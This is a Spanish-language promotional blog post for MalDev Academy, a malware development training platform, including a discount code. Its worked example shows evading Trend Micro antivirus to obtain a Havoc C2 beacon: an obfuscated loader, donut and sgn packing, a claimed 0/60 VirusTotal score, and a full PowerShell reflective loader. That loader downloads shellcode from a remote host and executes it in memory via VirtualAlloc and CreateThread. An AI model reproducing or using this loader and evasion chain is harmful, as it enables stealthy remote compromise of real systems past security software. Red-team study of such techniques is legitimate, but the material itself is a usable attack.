Pues efectivamente la colaboración que hemos estado anunciando estas ultimas semanas no es ni más ni menos que con MalDev Academy 🔥😳🙈. Puede que algunos los conozcáis, puede que otros no, en cualquier caso, vamos a ver quienes son y un ejemplo real de como podemos aplicar lo que aprendemos en MalDev. Si tu principal interés es el red teaming, blue teaming, análisis de malware o forense digital, esta es tu plataforma.
¿Qué es MalDev Academy?

MalDev Academy es una academia especializada en desarrollo de malware formada por tres profesionales muy reconocidos en el sector: mr.d0x, NUL0x4C y 5pider.

¿No te ha pasado alguna vez que a más avanzas en un tema, menos información o menos información de calidad encuentras? Suele pasar mucho cuando buscas información muy especializada o sobre un tema que no está tan extendido.
Pues hasta hace no mucho, esto pasaba con el desarrollo de malware. Es un tema avanzado en el cual, aunque sí había información, quizás no era, por un lado, tan accesible para principiantes, y por otro, tan centralizada. MalDev viene no solo a solucionar estos problemas, sino también a seguir aportando contenido técnico complejo para que los más avanzados puedan aprender. Vamos a ver cómo se estructura MalDev y qué contiene.
¿Qué contiene?
MalDev Academy básicamente se divide en dos: el curso y la base de datos. Vamos a ver de que trata cada una.
Malware Development Course
El curso es el principal contenido de la plataforma y está basado en módulos.

Actualmente te puedes encontrar +140 módulos de todas las dificultades:
- Principiante

- Intermedio

- Avanzado

Lo mejor es que no se limita a todo esto, sino que están constantemente añadiendo nuevos módulos y actualizaciones:

En el propio Syllabus de MalDev Academy de la plataforma puedes observar la línea de tiempo de lo que han ido metiendo desde que la plataforma saliera el año pasado:


Si te fijas, no solo meten contenido nuevo, sino también Challenges para que puedas poner a prueba lo que vas aprendiendo.

Los módulos por dentro se ven de la siguiente manera:


Está todo explicado siempre paso por paso y constantemente te facilitan todo, incluso te proporcionan una VM con todas las herramientas que necesitas:

Base de Datos
Además de la academia, MalDev ofrece otro servicio conocido como la base de datos. Este servicio ofrece Code Snippets (fragmentos de código) de acciones específicas. Por ejemplo, ¿quieres buscar maneras de dumpear el LSASS de manera rápida? Pues solo tienes que hacer una búsqueda:

Y te proporcionarán los distintos códigos disponibles para ello en la base de datos:


El propósito de este servicio al final es ahorrar tiempo a los desarrolladores y tener de manera centralizada una buena fuente de referencias de código para que puedan ser usadas rápidamente. Además, esta base de datos está actualizándose constantemente:

No solo incluyen fragmentos de código para el desarrollo de malware, sino también para la creación de herramientas que nos puedan ser útiles para explotar vulnerabilidades o crear scripts que interactúen con servicios:

Discord Privado
Aunque los dos principales servicios de MalDev sean la academia y la base de datos, una de las cosas que mas valoro es el Discord al que te dan acceso:

El discord está lleno de actividad y están constantemente compartiendo técnicas nuevas. Además, si preguntas cualquier duda te responderán sin problemas.
Ejemplo
Vamos a probar a evadir el antivirus de Trend Micro Maximum Security con el objetivo de obtener un beacon en nuestro C2.
Esto es un ejemplo muy simplificado debido a que primeramente, estamos tratando con un AV y no un EDR. Además, de que la evasión no se limita al momento de obtener un beacon, sino que se deben de tener en cuenta todas las acciones posteriores que puedan generar telemetría que un AV/EDR puedan detectar.


Primero de todo nos conectaremos al C2 iniciando el cliente de Havoc:


Una vez estemos conectado vamos a configurar un Listener HTTPS:


Con el Listener configurado, vamos a generar el Payload. Seleccionaremos el formato de Shellcode:

Llegados este punto ya tenemos los preparativos básicos hechos. En este ejemplo, haremos uso de un loader que se explica en uno de los módulos de MalDev Academy. Este loader posee las siguientes características:
- Syscalls indirectos utilizando una implementación mejorada de HellHall.
- Unhooking de Dll a través del directorio
\KnownDlls\sin usar permisos de memoria RWX. (recupera las versiones originales sin hook dentdll.dll,kernel32.dllykernelbase.dll). - Inyección de payload mediante segmentación, posiblemente evitando los filtros de eventos de EDR (divide el payload en varios fragmentos y los inyecta de manera gradual en memoria).
- Uso de una librería personalizada de cifrado AES.
- Ejecución del payload mediante las APIs del Thread Pool.
- Ofuscación del IAT utilizando hashing de API y camuflaje de API.
- Independiente de la librería CRT.

Este loader se ayuda de otro programa llamado PayloadEncrypter. La función principal de este programa es leer un payload del disco, encriptarlo, y luego guardarlo para almacenarlo dentro de la sección de recursos (.rsrc section) del loader.
Usaremos PayloadEncrypter con el payload generado por Havoc:

Una vez cifrado lo colocaremos en la sección de recursos (.rsrc section) del loader y compilaremos la herramienta:


En este momento ya tenemos una DLL maliciosa que ejecutará el payload de Havoc y proporcionará un beacon. Sin embargo, si lo dejamos tal cual está es detectado por bastantes soluciones de seguridad:

Para intentar solucionarlo haremos uso de dos herramientas, la primera de ellas es donut. Donut es una herramienta que permite la ejecución en memoria de archivos VBScript, JScript, EXE, DLL y ensamblados .NET. La usaremos para, a partir de la DLL que tenemos, generar un binario que se pueda cargar directamente en la memoria y ejecutar sin necesidad de escribir el archivo en el disco. En este caso, estamos generando un “shellcode” a partir de la DLL utilizando el comando mostrado en la siguiente imagen.

Donut de manera por defecto utiliza técnicas de ofuscación y puede incluir mecanismos para desactivar AMSI y WLDP (Windows Lockdown Policy), lo que permite evadir ciertos mecanismos de seguridad de Windows.
Sobre el archivo generado por donut utilizaremos otra herramienta, sgn. SGN es un encoder binario polimórfico diseñado para propósitos de seguridad ofensiva, como la generación de payloads binarios indetectables de forma estática. De hecho, seguro que Shikata ga nai te suena, el famoso encoder de Metasploit. Pues este es una mejora de la implementación original, escrita en Golang.
Esta herramienta la descubrí en el servidor de MalDev:

Sea lo que sea, la usaremos para añadir una capa adicional de ofuscación y polimorfismo al payload generado por Donut:

Esta herramienta proporciona el mismo formato de salida que Donut. Si ahora subimos este shellcode a VirusTotal:

Podemos observar que ninguna solución lo detecta como malicioso, obteniendo una puntuación de detección de 0/60.
Llegados a este punto, tenemos un shellcode lo suficientemente modificado como para probarlo con Trend Micro. En este caso haremos uso de reflexión para cargarlo en memoria. Esta técnica consiste en asignar espacio en memoria y copiar el shellcode directamente en él, sin escribir en el disco, resolviendo dinámicamente sus referencias y ejecutándolo en tiempo de ejecución. La reflexión permite inspeccionar, invocar y acceder a tipos de datos .NET. Por defecto, PowerShell proporciona acceso a las propiedades y métodos de acceso público, pero utilizando las API de reflexión, puede acceder a las partes internas de los tipos en .NET.
function LookupFunc {
Param ($moduleName, $functionName)
$assem = ([AppDomain]::CurrentDomain.GetAssemblies() |
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].
Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
$tmp=@()
$assem.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}}
return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null, @($moduleName)), $functionName))
}
function getDelegateType {
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,
[Parameter(Position = 1)] [Type] $delType = [Void]
)
$type = [AppDomain]::CurrentDomain.
DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')),
[System.Reflection.Emit.AssemblyBuilderAccess]::Run).
DefineDynamicModule('InMemoryModule', $false).
DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass',
[System.MulticastDelegate])
$type.
DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $func).
SetImplementationFlags('Runtime, Managed')
$type.
DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func).
SetImplementationFlags('Runtime, Managed')
return $type.CreateType()
}
$Shellcode = (New-Object System.Net.WebClient).DownloadData("http://192.168.10.10/agent.bin.sgn")
$lpMem = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualAlloc), (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $Shellcode.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $lpMem, $Shellcode.length)
$hThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll CreateThread), (getDelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$lpMem,[IntPtr]::Zero,0,[IntPtr]::Zero)
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll WaitForSingleObject), (getDelegateType @([IntPtr], [Int32]) ([Int]))).Invoke($hThread, 0xFFFFFFFF)
Si en el equipo víctima descargamos en memoria este archivo .ps1:


Nuestro shellcode se ejecutará y recibiremos el beacon en nuestro C2:



Obteniendo así acceso al equipo sin importar la presencia de Trend Micro Maximum Security.
¡Descuento exclusivo! 🥳🙈🔥
Nota 01/02/2025: El descuento ya no está disponible : (, pero eso no significa que no pueda haber nuevos descuentos en el futuro, por lo que siguenos en las redes sociales para no perderte nada. ¡Un saludo!
MalDev ha confiado en Deep Hacking y nos ha proporcionado un código de descuento exclusivo para vosotros, podéis obtener un 10% de descuento usando el código DEEPHACKING10 tanto en el plan lifetime como en el bundle (este último contiene el acceso a la base de datos).
Para hacer uso del código a la hora de la compra tenéis que añadirlo aquí:

Una vez añadido se aplicará el 10% de descuento para el plan que hayáis elegido.

Conclusión
Hoy en día existen muchas plataformas de formación, por ejemplo, los cursos carísimos de OffSec que, en proporción a lo que cuestan y lo que te enseñan, no valen para nada la pena. Sin embargo, en el otro lado, existen plataformas como MalDev que no solo cuestan una cuarta parte, sino que el valor que te proporcionan es muchísimo mayor. Recomiendo esta plataforma no solo porque la considero buena, sino porque yo mismo soy usuario de ella y estoy encantado con el contenido que ofrecen.